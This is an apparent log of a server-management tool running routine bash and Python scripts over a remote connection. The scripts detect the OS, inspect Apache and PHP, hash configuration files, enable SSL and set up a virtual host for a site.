YlpaPAEvxVgD9on/jhFD68G14BQHlo9vH9fnuoE5CXVlt8KvGFs3Jijno/QHK20a
/6tYvJWuQP/py1fEtVt/eA0YYbwX51TGu0mRzW4Y0YCF7qZlNrx06rxQTOr8IfM4
FpOUurDTazgGzRYSespSdcitdrLCnF2YRVxvYXvGLe48E1KGAdlX5jgc3421H5KR
mudKHMxFqHJV8LDmowfs/acbZp4/SItxhHFYyTr6717yW0QrPHTnj7JHwQdqzZq3
DZb3EoEmUVQK7GH29/Xi8orIlQ2NAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBS7vMNHpeS8qcbDpHIMEI2iNeHI6DAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAkrHnQTfreZ2B5s3iJeE6IOmQRJWjgVzPw139vaBw1bGWKCIL0vIo
zwzn1OZDjCQiHcFCktEJr59L9MhwTyAWsVrdAfYf+B9haxQnsHKNY67u4s5Lzzfd
u6PUzeetUK29v+PsPmI2cJkxp+iN3epi4hKu9ZzUPSwMqtCceb7qPVxEbpYxY1p9
1n5PJKBLBX9eb9LU6l8zSxPWV7bK3lG4XaMJgnT9x3ies7msFtpKK5bDtotij/l0
GaKeA97pb5uwD9KgWvaFXMIEt8jVTjLEvwRdvCn294GPDF08U8lAkIv7tghluaQh
1QnlE4SEN4LOECj8dsIGJXpGUk3aU3KkJz9icKy+aUgA+2cP21uh6NcDIS3XyfaZ
QjmDQ993ChII8SXWupQZVBiIpcWO4RqZk3lr7Bz5MUCwzDIA359e57SSq5CCkY0N
4B6Vulk7LktfwrdGNVI5BsC9qqxSwSKgRJeZ9wygIaehbHFHFhcBaMDKpiZlBHyz
rsnnlFXCb5s8HKn5LsUgGvB24L7sGNZP2CX7dhHov+YhD+jozLW2p9W4959Bz2Ei
RmqDtmiXLnzqTpXbI+suyCsohKRg6Un0RC47+cpiVwHiXZAW+cn8eiNIjqbVgXLx
KPpdzvvtTnOPlC7SQZSYmdunr3Bf9b77AiC/ZidstK36dRILKz7OA54=
-----END CERTIFICATE-----





2025-08-26 14:45:56: Establishing a remote connection
2025-08-26 14:45:56: 

PUT: /tmp/pkp267490

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/cityelectric_www_site.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 14:45:56: 

chmod 755 /tmp/pkp267490; /tmp/pkp267490; rm /tmp/pkp267490





2025-08-26 14:56:33: Establishing a remote connection
2025-08-26 14:56:48: Establishing a remote connection
2025-08-26 14:56:49: 

PUT: /tmp/pkp855271

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 14:56:49: 

chmod 755 /tmp/pkp855271; /tmp/pkp855271; rm /tmp/pkp855271

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swapfile                               file		2097148		951556		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
desktop

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-65-generic



2025-08-26 14:56:50: 

PUT: /tmp/pkp559651

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-08-26 14:56:50: 

chmod 755 /tmp/pkp559651; /tmp/pkp559651; rm /tmp/pkp559651



[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built:   2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded:  APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854294
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      854294  0.0  0.3 223624 29288 ?        Ss   09:55   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-08-26 14:56:51: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'desktop',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 22.04.5 LTS',
  'rel' => '22.04.5',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swapfile',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2025-08-26 14:56:51: 

PUT: /tmp/pkp139830

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-08-26 14:56:51: 

chmod 755 /tmp/pkp139830; /tmp/pkp139830; rm /tmp/pkp139830

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-08-26 14:56:53: 

PUT: /tmp/pkp327318

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-08-26 14:56:53: 

chmod 755 /tmp/pkp327318; /tmp/pkp327318; rm /tmp/pkp327318



[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33


2025-08-26 14:56:54: 

PUT: /tmp/pkp979714

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-08-26 14:56:54: 

chmod 755 /tmp/pkp979714; /tmp/pkp979714; rm /tmp/pkp979714

(gzipped output)




2025-08-26 14:56:55: 

PUT: /tmp/pkp846016

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		service apache2 restart
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		service apache2 restart
	fi
	echo status=ok
fi



2025-08-26 14:56:55: 

chmod 755 /tmp/pkp846016; /tmp/pkp846016; rm /tmp/pkp846016



status=ok


2025-08-26 14:56:56: 

PUT: /tmp/pkp488966

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 14:56:56: 

chmod 755 /tmp/pkp488966; /tmp/pkp488966; rm /tmp/pkp488966

(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 4b3d257734e7da5f2fddb670d792402e
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf


2025-08-26 14:57:51: Establishing a remote connection
2025-08-26 14:57:51: 

PUT: /tmp/pkp128726

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/cityelectric_www_site.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 14:57:51: 

chmod 755 /tmp/pkp128726; /tmp/pkp128726; rm /tmp/pkp128726

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/cityelectric_www_site.conf 0



2025-08-26 14:57:53: 

PUT: /tmp/pkp583959

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=sites-available/cityelectric_www_site.conf
DOCROOT=/var/www/cityelectric_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/cityelectric
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf'
	echo 'file(/etc/apache2/sites-available/cityelectric_www_site.conf= 1'
fi


2025-08-26 14:57:53: 

chmod 755 /tmp/pkp583959; /tmp/pkp583959; rm /tmp/pkp583959



link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf
file(/etc/apache2/sites-available/cityelectric_www_site.conf= 1


2025-08-26 14:57:54: 

PUT: /tmp/pkp380665

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-26 14:57:54: 

chmod 755 /tmp/pkp380665; /tmp/pkp380665; rm /tmp/pkp380665



.


2025-08-26 14:57:55: 

PUT: /tmp/pkp953571

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 14:57:55: 

chmod 755 /tmp/pkp953571; /tmp/pkp953571; rm /tmp/pkp953571

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bookworm/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swapfile                               file		2097148		951556		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
desktop

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-65-generic



2025-08-26 14:57:56: 

PUT: /tmp/pkp304035

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
